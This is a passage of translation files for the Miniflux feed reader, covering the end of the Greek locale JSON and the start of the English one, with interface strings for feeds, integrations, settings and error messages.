"error.settings_mandatory_fields": "Τα πεδία όνομα χρήστη, θέμα, Γλώσσα και ζώνη ώρας είναι υποχρεωτικά.",
"error.settings_reading_speed_is_positive": "Οι ταχύτητες ανάγνωσης πρέπει να είναι θετικοί ακέραιοι αριθμοί.",
"error.settings_block_rule_fieldname_invalid": "Invalid Block rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_block_rule_separator_required": "Invalid Block rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_block_rule_regex_required": "Invalid Block rule: rule #%d's pattern is not provided",
"error.settings_block_rule_invalid_regex": "Invalid Block rule: rule #%d's pattern is not a valid regex",
"error.settings_keep_rule_fieldname_invalid": "Invalid Keep rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_keep_rule_separator_required": "Invalid Keep rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_keep_rule_regex_required": "Invalid Keep rule: rule #%d pattern is not provided",
"error.settings_keep_rule_invalid_regex": "Invalid Keep rule: rule #%d's pattern is not a valid regex",
"error.entries_per_page_invalid": "Ο αριθμός των καταχωρήσεων ανά σελίδα δεν είναι έγκυρος.",
"error.feed_mandatory_fields": "Η διεύθυνση URL και η κατηγορία είναι υποχρεωτικά.",
"error.feed_already_exists": "Αυτή η ροή υπάρχει ήδη.",
"error.invalid_feed_url": "Μη έγκυρη διεύθυνση URL ροής.",
"error.invalid_site_url": "Μη έγκυρη διεύθυνση URL ιστότοπου.",
"error.feed_url_not_empty": "Η διεύθυνση URL ροής δεν μπορεί να είναι κενή.",
"error.site_url_not_empty": "Η διεύθυνση URL του ιστότοπου δεν μπορεί να είναι κενή.",
"error.feed_title_not_empty": "Ο τίτλος ροής δεν μπορεί να είναι κενός.",
"error.feed_category_not_found": "Αυτή η κατηγορία δεν υπάρχει ή δεν ανήκει σε αυτόν τον χρήστη.",
"error.feed_invalid_blocklist_rule": "Ο κανόνας λίστας μπλοκ δεν είναι έγκυρος.",
"error.feed_invalid_keeplist_rule": "Ο κανόνας keep list δεν είναι έγκυρος.",
"form.feed.label.urlrewrite_rules": "επανεγγραφή κανόνων για τη διεύθυνση URL.",
"form.feed.label.apprise_service_urls": "Comma separated list of Apprise service URLs",
"error.user_mandatory_fields": "Το όνομα χρήστη είναι υποχρεωτικό.",
"error.api_key_already_exists": "Αυτό το κλειδί API υπάρχει ήδη.",
"error.unable_to_create_api_key": "Δεν είναι δυνατή η δημιουργία αυτού του κλειδιού API.",
"form.feed.label.title": "Τίτλος",
"form.feed.label.site_url": "Διεύθυνση URL ιστότοπου",
"form.feed.label.feed_url": "Διεύθυνση URL ροής",
"form.feed.label.description": "Περιγραφή",
"form.feed.label.category": "Κατηγορία",
"form.feed.label.crawler": "Λήψη αρχικού περιεχομένου",
"form.feed.label.feed_username": "Όνομα Χρήστη ροής",
"form.feed.label.feed_password": "Κωδικός Πρόσβασης ροής",
"form.feed.label.user_agent": "Παράκαμψη Προεπιλεγμένου User Agent Χρήστη",
"form.feed.label.cookie": "Ορισμός Cookies",
"form.feed.label.scraper_rules": "Κανόνες Scraper",
"form.feed.label.rewrite_rules": "Κανόνες Μετατροπής",
"form.feed.label.blocklist_rules": "Κανόνες Αποκλεισμού",
"form.feed.label.keeplist_rules": "Κρατήστε Κανόνες",
"form.feed.label.ignore_http_cache": "Αγνοήστε την προσωρινή μνήμη HTTP",
"form.feed.label.allow_self_signed_certificates": "Να επιτρέπονται αυτο-υπογεγραμμένα ή μη έγκυρα πιστοποιητικά",
"form.feed.label.disable_http2": "Disable HTTP/2 to avoid fingerprinting",
"form.feed.label.fetch_via_proxy": "Λήψη μέσω διακομιστή μεσολάβησης",
"form.feed.label.disabled": "Μη ανανέωση αυτής της ροής",
"form.feed.label.no_media_player": "No media player (audio/video)",
"form.feed.label.hide_globally": "Απόκρυψη καταχωρήσεων σε γενική λίστα μη αναγνωσμένων",
"form.feed.fieldset.general": "General",
"form.feed.fieldset.rules": "Rules",
"form.feed.fieldset.network_settings": "Network Settings",
"form.feed.fieldset.integration": "Third-Party Services",
"form.feed.label.ntfy_activate": "Push entries to ntfy",
"form.feed.label.ntfy_priority": "Ntfy priority",
"form.feed.label.ntfy_max_priority": "Ntfy max priority",
"form.feed.label.ntfy_high_priority": "Ntfy high priority",
"form.feed.label.ntfy_default_priority": "Ntfy default priority",
"form.feed.label.ntfy_low_priority": "Ntfy low priority",
"form.feed.label.ntfy_min_priority": "Ntfy min priority",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.category.label.title": "Τίτλος",
"form.category.hide_globally": "Απόκρυψη καταχωρήσεων σε γενική λίστα μη αναγνωσμένων",
"form.user.label.username": "Χρήστης",
"form.user.label.password": "Κωδικός",
"form.user.label.confirmation": "Επιβεβαίωση Κωδικού Πρόσβασης",
"form.user.label.admin": "Διαχειριστής",
"form.prefs.label.language": "Γλώσσα",
"form.prefs.label.timezone": "Ζώνη Ώρας",
"form.prefs.label.theme": "Θέμα",
"form.prefs.label.entry_sorting": "Ταξινόμηση",
"form.prefs.label.entries_per_page": "Καταχωρήσεις ανά σελίδα",
"form.prefs.label.default_reading_speed": "Ταχύτητα ανάγνωσης άλλων γλωσσών (λέξεις ανά λεπτό)",
"form.prefs.label.cjk_reading_speed": "Ταχύτητα ανάγνωσης για κινέζικα, κορεάτικα και ιαπωνικά (χαρακτήρες ανά λεπτό)",
"form.prefs.label.display_mode": "Λειτουργία προβολής προοδευτικής εφαρμογής Ιστού (PWA)",
"form.prefs.select.older_first": "Παλαιότερες καταχωρήσεις πρώτα",
"form.prefs.select.recent_first": "Πρόσφατες καταχωρήσεις πρώτα",
"form.prefs.select.fullscreen": "Πλήρης οθόνη",
"form.prefs.select.standalone": "Μεμονωμένο",
"form.prefs.select.minimal_ui": "Ελάχιστη",
"form.prefs.select.browser": "Περιηγητής",
"form.prefs.select.publish_time": "Δημοσιευμένος χρόνος εισόδου",
"form.prefs.select.created_time": "Χρόνος δημιουργίας καταχώρησης",
"form.prefs.select.alphabetical": "Αλφαβητική σειρά",
"form.prefs.select.unread_count": "Αριθμός μη αναγνωσμένων",
"form.prefs.select.none": "Κανένας",
"form.prefs.select.tap": "Διπλό χτύπημα",
"form.prefs.select.swipe": "Σουφρώνω",
"form.prefs.label.keyboard_shortcuts": "Ενεργοποίηση συντομεύσεων πληκτρολογίου",
"form.prefs.label.entry_swipe": "Ενεργοποιήστε το σάρωση καταχώρισης στις οθόνες αφής",
"form.prefs.label.gesture_nav": "Χειρονομία για πλοήγηση μεταξύ των καταχωρήσεων",
"form.prefs.label.show_reading_time": "Εμφάνιση εκτιμώμενου χρόνου ανάγνωσης για άρθρα",
"form.prefs.label.custom_css": "Προσαρμοσμένο CSS",
"form.prefs.label.custom_js": "Προσαρμοσμένο JavaScript",
"form.prefs.label.entry_order": "Στήλη ταξινόμησης εισόδου",
"form.prefs.label.default_home_page": "Προεπιλεγμένη αρχική σελίδα",
"form.prefs.label.categories_sorting_order": "Ταξινόμηση κατηγοριών",
"form.prefs.label.mark_read_on_view": "Αυτόματη επισήμανση καταχωρήσεων ως αναγνωσμένων κατά την προβολή",
"form.prefs.label.mark_read_on_view_or_media_completion": "Mark entries as read when viewed. For audio/video, mark as read at 90%% completion",
"form.prefs.label.mark_read_on_media_completion": "Only mark as read when audio/video playback reaches 90%% completion",
"form.prefs.label.mark_read_manually": "Mark entries as read manually",
"form.prefs.fieldset.application_settings": "Application Settings",
"form.prefs.fieldset.authentication_settings": "Authentication Settings",
"form.prefs.fieldset.reader_settings": "Reader Settings",
"form.prefs.fieldset.global_feed_settings": "Global Feed Settings",
"form.prefs.label.external_font_hosts": "External font hosts",
"form.prefs.help.external_font_hosts": "Space separated list of external font hosts to allow. For example: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Invalid domain list. Please provide a space separated list of domains.",
"form.import.label.file": "Αρχείο OPML",
"form.import.label.url": "URL",
"form.integration.betula_activate": "Save entries to Betula",
"form.integration.betula_url": "Betula server URL",
"form.integration.betula_token": "Betula Token",
"form.integration.fever_activate": "Ενεργοποιήστε το Fever API",
"form.integration.fever_username": "Όνομα Χρήστη Fever",
"form.integration.fever_password": "Κωδικός Πρόσβασης Fever",
"form.integration.fever_endpoint": "Τελικό σημείο Fever API:",
"form.integration.googlereader_activate": "Ενεργοποιήστε το Google Reader API",
"form.integration.googlereader_username": "Όνομα Χρήστη Google Reader",
"form.integration.googlereader_password": "Κωδικός Πρόσβασης Google Reader",
"form.integration.googlereader_endpoint": "Τελικό σημείο Google Reader API:",
"form.integration.pinboard_activate": "Αποθήκευση άρθρων στο Pinboard",
"form.integration.pinboard_token": "Pinboard API Token",
"form.integration.pinboard_tags": "Ετικέτες Pinboard",
"form.integration.pinboard_bookmark": "Σημείωση του σελιδοδείκτη ως μη αναγνωσμένου",
"form.integration.instapaper_activate": "Αποθήκευση άρθρων στο Instapaper",
"form.integration.instapaper_username": "Όνομα Χρήστη Instapaper",
"form.integration.instapaper_password": "Κωδικός Πρόσβασης Instapaper",
"form.integration.pocket_activate": "Αποθήκευση άρθρων στο Pocket",
"form.integration.pocket_consumer_key": "Pocket Consumer Key",
"form.integration.pocket_access_token": "Pocket Access Token",
"form.integration.pocket_connect_link": "Συνδέστε τον λογαριασμό Pocket σας",
"form.integration.wallabag_activate": "Αποθήκευση άρθρων στο Wallabag",
"form.integration.wallabag_only_url": "Αποστολή μόνο URL (αντί για πλήρες περιεχόμενο)",
"form.integration.wallabag_endpoint": "Βασική διεύθυνση URL Wallabag",
"form.integration.wallabag_client_id": "Ταυτότητα πελάτη Wallabag",
"form.integration.wallabag_client_secret": "Wallabag Μυστικό Πελάτη",
"form.integration.wallabag_username": "Όνομα Χρήστη Wallabag",
"form.integration.wallabag_password": "Wallabag Κωδικός Πρόσβασης",
"form.integration.notion_activate": "Save entries to Notion",
"form.integration.notion_page_id": "Notion Page ID",
"form.integration.notion_token": "Notion Secret Token",
"form.integration.apprise_activate": "Push entries to Apprise",
"form.integration.apprise_url": "Apprise API URL",
"form.integration.apprise_services_url": "Comma separated list of Apprise service URLs",
"form.integration.nunux_keeper_activate": "Αποθήκευση άρθρων στο Nunux Keeper",
"form.integration.nunux_keeper_endpoint": "Τελικό σημείο Nunux Keeper API",
"form.integration.nunux_keeper_api_key": "Κλειδί API Nunux Keeper",
"form.integration.omnivore_activate": "Αποθήκευση άρθρων στο Omnivore",
"form.integration.omnivore_url": "Τελικό σημείο Omnivore API",
"form.integration.omnivore_api_key": "Κλειδί API Omnivore",
"form.integration.espial_activate": "Αποθήκευση άρθρων στο Espial",
"form.integration.espial_endpoint": "Τελικό σημείο Espial API",
"form.integration.espial_api_key": "Κλειδί API Espial",
"form.integration.espial_tags": "Ετικέτες Espial",
"form.integration.readwise_activate": "Save entries to Readwise Reader",
"form.integration.readwise_api_key": "Readwise Reader Access Token",
"form.integration.readwise_api_key_link": "Get your Readwise Access Token",
"form.integration.telegram_bot_activate": "Προωθήστε νέα άρθρα στη συνομιλία Telegram",
"form.integration.telegram_bot_token": "Διακριτικό bot",
"form.integration.telegram_chat_id": "Αναγνωριστικό συνομιλίας",
"form.integration.telegram_topic_id": "Topic ID",
"form.integration.telegram_bot_disable_web_page_preview": "Disable web page preview",
"form.integration.telegram_bot_disable_notification": "Disable notification",
"form.integration.telegram_bot_disable_buttons": "Disable buttons",
"form.integration.linkace_activate": "Save entries to LinkAce",
"form.integration.linkace_endpoint": "LinkAce API Endpoint",
"form.integration.linkace_api_key": "LinkAce API key",
"form.integration.linkace_tags": "LinkAce Tags",
"form.integration.linkace_is_private": "Mark link as private",
"form.integration.linkace_check_disabled": "Disable link check",
"form.integration.linkding_activate": "Αποθήκευση άρθρων στο Linkding",
"form.integration.linkding_endpoint": "Τελικό σημείο Linkding API",
"form.integration.linkding_api_key": "Κλειδί API Linkding",
"form.integration.linkding_tags": "Linkding Tags",
"form.integration.linkding_bookmark": "Σημείωση του σελιδοδείκτη ως μη αναγνωσμένου",
"form.integration.linkwarden_activate": "Αποθήκευση άρθρων στο Linkwarden",
"form.integration.linkwarden_endpoint": "Τελικό σημείο Linkwarden API",
"form.integration.linkwarden_api_key": "Κλειδί API Linkwarden",
"form.integration.matrix_bot_activate": "Μεταφορά νέων άρθρων στο Matrix",
"form.integration.matrix_bot_user": "Όνομα χρήστη για το Matrix",
"form.integration.matrix_bot_password": "Κωδικός πρόσβασης για τον χρήστη Matrix",
"form.integration.matrix_bot_url": "URL διακομιστή Matrix",
"form.integration.matrix_bot_chat_id": "Αναγνωριστικό της αίθουσας Matrix",
"form.integration.raindrop_activate": "Save entries to Raindrop",
"form.integration.raindrop_token": "(Test) Token",
"form.integration.raindrop_collection_id": "Collection ID",
"form.integration.raindrop_tags": "Tags (comma-separated)",
"form.integration.readeck_activate": "Αποθήκευση άρθρων στο Readeck",
"form.integration.readeck_endpoint": "Τελικό σημείο Readeck API",
"form.integration.readeck_api_key": "Κλειδί API Readeck",
"form.integration.readeck_labels": "Readeck Labels",
"form.integration.readeck_only_url": "Αποστολή μόνο URL (αντί για πλήρες περιεχόμενο)",
"form.integration.shiori_activate": "Αποθήκευση άρθρων στο Shiori",
"form.integration.shiori_endpoint": "Τελικό σημείο Shiori",
"form.integration.shiori_username": "Όνομα Χρήστη Shiori",
"form.integration.shiori_password": "Κωδικός Πρόσβασης Shiori",
"form.integration.shaarli_activate": "Save articles to Shaarli",
"form.integration.shaarli_endpoint": "Shaarli URL",
"form.integration.shaarli_api_secret": "Shaarli API Secret",
"form.integration.webhook_activate": "Enable Webhook",
"form.integration.webhook_url": "Webhook URL",
"form.integration.webhook_secret": "Webhook Secret",
"form.integration.rssbridge_activate": "Check RSS-Bridge when adding subscriptions",
"form.integration.rssbridge_url": "RSS-Bridge server URL",
"form.integration.ntfy_activate": "Push entries to ntfy",
"form.integration.ntfy_topic": "Ntfy topic",
"form.integration.ntfy_url": "Ntfy URL (optional, default is ntfy.sh)",
"form.integration.ntfy_api_token": "Ntfy API Token (optional)",
"form.integration.ntfy_username": "Ntfy Username (optional)",
"form.integration.ntfy_password": "Ntfy Password (optional)",
"form.integration.ntfy_icon_url": "Ntfy Icon URL (optional)",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.integration.discord_activate": "Push entries to Discord",
"form.integration.discord_webhook_link": "Discord Webhook link",
"form.api_key.label.description": "Ετικέτα κλειδιού API",
"form.submit.loading": "Φόρτωση...",
"form.submit.saving": "Αποθήκευση...",
"time_elapsed.not_yet": "όχι ακόμα.",
"time_elapsed.yesterday": "χθες",
"time_elapsed.now": "μόλις τώρα",
"time_elapsed.minutes": [
"πριν %d λεπτό",
"πριν %d λεπτά"
],
"time_elapsed.hours": [
"πριν %d ώρα",
"πριν %d ώρες"
],
"time_elapsed.days": [
"πριν %d ημέρα",
"πριν %d ημέρες"
],
"time_elapsed.weeks": [
"πριν %d εβδομάδα",
"πριν %d εβδομάδες"
],
"time_elapsed.months": [
"πριν %d μήνα",
"πριν %d μήνες"
],
"time_elapsed.years": [
"πριν %d έτος",
"πριν %d έτη"
],
"alert.too_many_feeds_refresh": [
"You have triggered too many feed refreshes. Please wait %d minute before trying again.",
"You have triggered too many feed refreshes. Please wait %d minutes before trying again."
],
"alert.background_feed_refresh": "All feeds are being refreshed in the background. You can continue to use Miniflux while this process is running.",
"error.http_response_too_large": "The HTTP response is too large. You could increase the HTTP response size limit in the global settings (requires a server restart).",
"error.http_body_read": "Unable to read the HTTP body: %v.",
"error.http_empty_response_body": "The HTTP response body is empty.",
"error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?",
"error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.",
"error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.",
"error.network_timeout": "This website is too slow and the request timed out: %v",
"error.http_client_error": "HTTP client error: %v.",
"error.http_not_authorized": "Access to this website is not authorized. It could be a bad username or password.",
"error.http_too_many_requests": "Miniflux generated too many requests to this website. Please, try again later or change the application configuration.",
"error.http_forbidden": "Access to this website is forbidden. Perhaps, this website has a bot protection mechanism?",
"error.http_resource_not_found": "The requested resource is not found. Please, verify the URL.",
"error.http_internal_server_error": "The website is not available at the moment due to a server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_bad_gateway": "The website is not available at the moment due to a bad gateway error. The problem is not on Miniflux side. Please, try again later.",
"error.http_service_unavailable": "The website is not available at the moment due to an internal server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_gateway_timeout": "The website is not available at the moment due to a gateway timeout error. The problem is not on Miniflux side. Please, try again later.",
"error.http_unexpected_status_code": "The website is not available at the moment due to an unexpected HTTP status code: %d. The problem is not on Miniflux side. Please, try again later.",
"error.database_error": "Database error: %v.",
"error.category_not_found": "This category does not exist or does not belong to this user.",
"error.duplicated_feed": "This feed already exists.",
"error.unable_to_parse_feed": "Unable to parse this feed: %v.",
"error.feed_not_found": "This feed does not exist or does not belong to this user.",
"error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.",
"error.feed_format_not_detected": "Unable to detect feed format: %v.",
"form.prefs.label.media_playback_rate": "Ταχύτητα αναπαραγωγής του ήχου/βίντεο",
"error.settings_media_playback_rate_range": "Η ταχύτητα αναπαραγωγής είναι εκτός εύρους",
"enclosure_media_controls.seek" : "Seek:",
"enclosure_media_controls.seek.title" : "Seek %s seconds",
"enclosure_media_controls.speed" : "Speed:",
"enclosure_media_controls.speed.faster" : "Faster",
"enclosure_media_controls.speed.faster.title" : "Faster by %sx",
"enclosure_media_controls.speed.slower" : "Slower",
"enclosure_media_controls.speed.slower.title" : "Slower by %sx",
"enclosure_media_controls.speed.reset" : "Reset",
"enclosure_media_controls.speed.reset.title" : "Reset speed to 1x"
}
v2-2.2.5/internal/locale/translations/en_US.json 0000664 0000000 0000000 00000102073 14743520056 0021560 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Skip to content",
"confirm.question": "Are you sure?",
"confirm.question.refresh": "Are you sure you want to force refresh?",
"confirm.yes": "yes",
"confirm.no": "no",
"confirm.loading": "In progress…",
"action.subscribe": "Subscribe",
"action.save": "Save",
"action.or": "or",
"action.cancel": "cancel",
"action.remove": "Remove",
"action.remove_feed": "Remove this feed",
"action.update": "Update",
"action.edit": "Edit",
"action.download": "Download",
"action.import": "Import",
"action.login": "Login",
"action.home_screen": "Add to home screen",
"tooltip.keyboard_shortcuts": "Keyboard Shortcut: %s",
"tooltip.logged_user": "Logged in as %s",
"menu.title": "Menu",
"menu.home_page": "Home page",
"menu.unread": "Unread",
"menu.starred": "Starred",
"menu.history": "History",
"menu.feeds": "Feeds",
"menu.categories": "Categories",
"menu.settings": "Settings",
"menu.logout": "Logout",
"menu.preferences": "Preferences",
"menu.integrations": "Integrations",
"menu.sessions": "Sessions",
"menu.users": "Users",
"menu.about": "About",
"menu.export": "Export",
"menu.import": "Import",
"menu.search": "Search",
"menu.create_category": "Create a category",
"menu.mark_page_as_read": "Mark this page as read",
"menu.mark_all_as_read": "Mark all as read",
"menu.show_all_entries": "Show all entries",
"menu.show_only_starred_entries": "Show only starred entries",
"menu.show_only_unread_entries": "Show only unread entries",
"menu.refresh_feed": "Refresh",
"menu.refresh_all_feeds": "Refresh all feeds in the background",
"menu.edit_feed": "Edit",
"menu.edit_category": "Edit",
"menu.add_feed": "Add feed",
"menu.add_user": "Add user",
"menu.flush_history": "Flush history",
"menu.feed_entries": "Entries",
"menu.api_keys": "API Keys",
"menu.create_api_key": "Create a new API key",
"menu.shared_entries": "Shared entries",
"search.label": "Search",
"search.placeholder": "Search…",
"search.submit": "Search",
"pagination.last": "Last",
"pagination.next": "Next",
"pagination.first": "First",
"pagination.previous": "Previous",
"entry.status.unread": "Unread",
"entry.status.read": "Read",
"entry.status.toast.unread": "Marked as unread",
"entry.status.toast.read": "Marked as read",
"entry.status.title": "Change entry status",
"entry.bookmark.toggle.on": "Star",
"entry.bookmark.toggle.off": "Unstar",
"entry.bookmark.toast.on": "Starred",
"entry.bookmark.toast.off": "Unstarred",
"entry.state.saving": "Saving…",
"entry.state.loading": "Loading…",
"entry.save.label": "Save",
"entry.save.title": "Save this entry",
"entry.save.completed": "Done!",
"entry.save.toast.completed": "Entry saved",
"entry.scraper.label": "Download",
"entry.scraper.title": "Fetch original content",
"entry.scraper.completed": "Done!",
"entry.external_link.label": "External link",
"entry.comments.label": "Comments",
"entry.comments.title": "View Comments",
"entry.share.label": "Share",
"entry.share.title": "Share this entry",
"entry.unshare.label": "Unshare",
"entry.shared_entry.title": "Open the public link",
"entry.shared_entry.label": "Share",
"entry.estimated_reading_time": [
"%d minute read",
"%d minutes read"
],
"entry.tags.label": "Tags:",
"page.shared_entries.title": "Shared entries",
"page.shared_entries_count": [
"%d shared entry",
"%d shared entries"
],
"page.unread.title": "Unread",
"page.unread_entry_count": [
"%d unread entry",
"%d unread entries"
],
"page.total_entry_count": [
"%d entry in total",
"%d entries in total"
],
"page.starred.title": "Starred",
"page.starred_entry_count": [
"%d starred entry",
"%d starred entries"
],
"page.categories.title": "Categories",
"page.categories.no_feed": "No feed.",
"page.categories.entries": "Entries",
"page.categories.feeds": "Feeds",
"page.categories.feed_count": [
"There is %d feed.",
"There are %d feeds."
],
"page.categories_count": [
"%d category",
"%d categories"
],
"page.new_category.title": "New Category",
"page.new_user.title": "New User",
"page.edit_category.title": "Edit Category: %s",
"page.edit_user.title": "Edit User: %s",
"page.feeds.title": "Feeds",
"page.category_label": "Category: %s",
"page.feeds.last_check": "Last check:",
"page.feeds.next_check": "Next check:",
"page.feeds.read_counter": "Number of read entries",
"page.feeds.error_count": [
"%d error",
"%d errors"
],
"page.history.title": "History",
"page.read_entry_count": [
"%d read entry",
"%d read entries"
],
"page.import.title": "Import",
"page.search.title": "Search Results",
"page.about.title": "About",
"page.about.credits": "Credits",
"page.about.version": "Version:",
"page.about.build_date": "Build Date:",
"page.about.author": "Author:",
"page.about.license": "License:",
"page.about.global_config_options": "Global configuration options",
"page.about.postgres_version": "Postgres version:",
"page.about.go_version": "Go version:",
"page.add_feed.title": "New feed",
"page.add_feed.no_category": "There is no category. You must have at least one category.",
"page.add_feed.label.url": "URL",
"page.add_feed.submit": "Find a feed",
"page.add_feed.legend.advanced_options": "Advanced Options",
"page.add_feed.choose_feed": "Choose a feed",
"page.edit_feed.title": "Edit Feed: %s",
"page.edit_feed.last_check": "Last check:",
"page.edit_feed.last_modified_header": "LastModified header:",
"page.edit_feed.etag_header": "ETag header:",
"page.edit_feed.no_header": "None",
"page.edit_feed.last_parsing_error": "Last Parsing Error",
"page.entry.attachments": "Attachments",
"page.keyboard_shortcuts.title": "Keyboard Shortcuts",
"page.keyboard_shortcuts.subtitle.sections": "Sections Navigation",
"page.keyboard_shortcuts.subtitle.items": "Items Navigation",
"page.keyboard_shortcuts.subtitle.pages": "Pages Navigation",
"page.keyboard_shortcuts.subtitle.actions": "Actions",
"page.keyboard_shortcuts.go_to_unread": "Go to unread",
"page.keyboard_shortcuts.go_to_starred": "Go to starred",
"page.keyboard_shortcuts.go_to_history": "Go to history",
"page.keyboard_shortcuts.go_to_feeds": "Go to feeds",
"page.keyboard_shortcuts.go_to_categories": "Go to categories",
"page.keyboard_shortcuts.go_to_settings": "Go to settings",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "Show keyboard shortcuts",
"page.keyboard_shortcuts.go_to_previous_item": "Go to previous item",
"page.keyboard_shortcuts.go_to_next_item": "Go to next item",
"page.keyboard_shortcuts.go_to_feed": "Go to feed",
"page.keyboard_shortcuts.go_to_top_item": "Go to top item",
"page.keyboard_shortcuts.go_to_bottom_item": "Go to bottom item",
"page.keyboard_shortcuts.go_to_previous_page": "Go to previous page",
"page.keyboard_shortcuts.go_to_next_page": "Go to next page",
"page.keyboard_shortcuts.open_item": "Open selected item",
"page.keyboard_shortcuts.open_original": "Open original link",
"page.keyboard_shortcuts.open_original_same_window": "Open original link in current tab",
"page.keyboard_shortcuts.open_comments": "Open comments link",
"page.keyboard_shortcuts.open_comments_same_window": "Open comments link in current tab",
"page.keyboard_shortcuts.toggle_read_status_next": "Toggle read/unread, focus next",
"page.keyboard_shortcuts.toggle_read_status_prev": "Toggle read/unread, focus previous",
"page.keyboard_shortcuts.refresh_all_feeds": "Refresh all feeds in the background",
"page.keyboard_shortcuts.mark_page_as_read": "Mark current page as read",
"page.keyboard_shortcuts.download_content": "Download original content",
"page.keyboard_shortcuts.toggle_bookmark_status": "Toggle starred",
"page.keyboard_shortcuts.save_article": "Save entry",
"page.keyboard_shortcuts.scroll_item_to_top": "Scroll item to top",
"page.keyboard_shortcuts.remove_feed": "Remove this feed",
"page.keyboard_shortcuts.go_to_search": "Set focus on search form",
"page.keyboard_shortcuts.toggle_entry_attachments": "Toggle open/close entry attachments",
"page.keyboard_shortcuts.close_modal": "Close modal dialog",
"page.users.title": "Users",
"page.users.username": "Username",
"page.users.never_logged": "Never",
"page.users.admin.yes": "Yes",
"page.users.admin.no": "No",
"page.users.actions": "Actions",
"page.users.last_login": "Last Login",
"page.users.is_admin": "Administrator",
"page.settings.title": "Settings",
"page.settings.link_google_account": "Link my Google account",
"page.settings.unlink_google_account": "Unlink my Google account",
"page.settings.link_oidc_account": "Link my %s account",
"page.settings.unlink_oidc_account": "Unlink my %s account",
"page.settings.webauthn.passkeys": "Passkeys",
"page.settings.webauthn.actions": "Actions",
"page.settings.webauthn.passkey_name": "Passkey Name",
"page.settings.webauthn.added_on": "Added On",
"page.settings.webauthn.last_seen_on": "Last Used",
"page.settings.webauthn.register": "Register passkey",
"page.settings.webauthn.register.error": "Unable to register passkey",
"page.settings.webauthn.delete": [
"Remove %d passkey",
"Remove %d passkeys"
],
"page.login.title": "Sign In",
"page.login.google_signin": "Sign in with Google",
"page.login.oidc_signin": "Sign in with %s",
"page.login.webauthn_login": "Login with passkey",
"page.login.webauthn_login.error": "Unable to login with passkey",
"page.login.webauthn_login.help": "Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).",
"page.integrations.title": "Integrations",
"page.integration.miniflux_api": "Miniflux API",
"page.integration.miniflux_api_endpoint": "API Endpoint",
"page.integration.miniflux_api_username": "Username",
"page.integration.miniflux_api_password": "Password",
"page.integration.miniflux_api_password_value": "Your account password",
"page.integration.bookmarklet": "Bookmarklet",
"page.integration.bookmarklet.name": "Add to Miniflux",
"page.integration.bookmarklet.instructions": "Drag and drop this link to your bookmarks.",
"page.integration.bookmarklet.help": "This special link allows you to subscribe to a website directly by using a bookmark in your web browser.",
"page.sessions.title": "Sessions",
"page.sessions.table.date": "Date",
"page.sessions.table.ip": "IP Address",
"page.sessions.table.user_agent": "User Agent",
"page.sessions.table.actions": "Actions",
"page.sessions.table.current_session": "Current Session",
"page.api_keys.title": "API Keys",
"page.api_keys.table.description": "Description",
"page.api_keys.table.token": "Token",
"page.api_keys.table.last_used_at": "Last Used",
"page.api_keys.table.created_at": "Creation Date",
"page.api_keys.table.actions": "Actions",
"page.api_keys.never_used": "Never Used",
"page.new_api_key.title": "New API Key",
"page.offline.title": "Offline Mode",
"page.offline.message": "You are offline",
"page.offline.refresh_page": "Try to refresh the page",
"page.webauthn_rename.title": "Rename Passkey",
"alert.no_shared_entry": "There is no shared entry.",
"alert.no_bookmark": "There are no starred entries.",
"alert.no_category": "There is no category.",
"alert.no_category_entry": "There are no entries in this category.",
"alert.no_tag_entry": "There are no entries matching this tag.",
"alert.no_feed_entry": "There are no entries for this feed.",
"alert.no_feed": "You don’t have any feeds.",
"alert.no_feed_in_category": "There is no feed for this category.",
"alert.no_history": "There is no history at the moment.",
"alert.feed_error": "There is a problem with this feed",
"alert.no_search_result": "There are no results for this search.",
"alert.no_unread_entry": "There are no unread entries.",
"alert.no_user": "You are the only user.",
"alert.account_unlinked": "Your external account is now dissociated!",
"alert.account_linked": "Your external account is now linked!",
"alert.pocket_linked": "Your Pocket account is now linked!",
"alert.prefs_saved": "Preferences saved!",
"error.unlink_account_without_password": "You must define a password otherwise you won’t be able to login again.",
"error.duplicate_linked_account": "There is already someone associated with this provider!",
"error.duplicate_fever_username": "There is already someone else with the same Fever username!",
"error.duplicate_googlereader_username": "There is already someone else with the same Google Reader username!",
"error.pocket_request_token": "Unable to fetch request token from Pocket!",
"error.pocket_access_token": "Unable to fetch access token from Pocket!",
"error.category_already_exists": "This category already exists.",
"error.unable_to_create_category": "Unable to create this category.",
"error.unable_to_update_category": "Unable to update this category.",
"error.user_already_exists": "This user already exists.",
"error.unable_to_create_user": "Unable to create this user.",
"error.unable_to_update_user": "Unable to update this user.",
"error.unable_to_update_feed": "Unable to update this feed.",
"error.subscription_not_found": "Unable to find any feed.",
"error.invalid_theme": "Invalid theme.",
"error.invalid_language": "Invalid language.",
"error.invalid_timezone": "Invalid timezone.",
"error.invalid_entry_direction": "Invalid entry direction.",
"error.invalid_display_mode": "Invalid web app display mode.",
"error.invalid_gesture_nav": "Invalid gesture navigation.",
"error.invalid_default_home_page": "Invalid default homepage!",
"error.empty_file": "This file is empty.",
"error.bad_credentials": "Invalid username or password.",
"error.fields_mandatory": "All fields are mandatory.",
"error.title_required": "The title is mandatory.",
"error.different_passwords": "Passwords are not the same.",
"error.password_min_length": "The password must have at least 6 characters.",
"error.settings_mandatory_fields": "The username, theme, language and timezone fields are mandatory.",
"error.settings_reading_speed_is_positive": "The reading speeds must be positive integers.",
"error.settings_block_rule_fieldname_invalid": "Invalid Block rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_block_rule_separator_required": "Invalid Block rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_block_rule_regex_required": "Invalid Block rule: rule #%d's pattern is not provided",
